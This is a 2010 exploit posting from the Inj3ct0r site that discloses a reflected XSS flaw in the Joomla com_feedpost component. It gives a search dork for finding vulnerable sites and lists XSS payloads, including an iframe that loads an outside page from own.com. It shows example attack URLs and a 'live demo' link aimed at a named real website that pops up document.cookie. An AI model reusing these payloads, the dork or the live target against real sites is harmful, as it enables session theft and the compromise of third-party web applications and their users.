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Joomla Component com_feedpost XSS vulnerability

Posted on 17 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Joomla Component com_feedpost XSS vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>===============================================
Joomla Component com_feedpost XSS vulnerability
===============================================


# Exploit Title: Joomla com_feedpost XSS vulnerability
# Date         : 17 june 2010
# Author       : x0kster (x0kster@gmail.com)
# Dork         : inurl:&quot;feedpost.php?url=&quot;


==== XSS EXPLOIT ====

HTML INJECTION: &lt;iframe src=http://own.com/lol.html &lt;
ALERT XSS     : &lt;body onload=alert('xss')&gt;
GENERAL XSS   : &lt;body onload=JAVASCRIP_HERE&gt;

==== VULN IN HERE ====

http://localhost/joomla/components/com_feedpostold/feedpost.php?url=[XSS]

Examples:
http://localhost/joomla/components/com_feedpostold/feedpost.php?url=&lt;iframe src=http://own.com/lol.html &lt;
http://localhost/joomla/components/com_feedpostold/feedpost.php?url=&lt;body onload=alert('Inj3ct0r.com')&gt;



==== LIVE DEMO ====

http://www.universinet.it/components/com_feedpostold/feedpost.php?url=&lt;body onload=alert(document.cookie)&gt;



# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-17]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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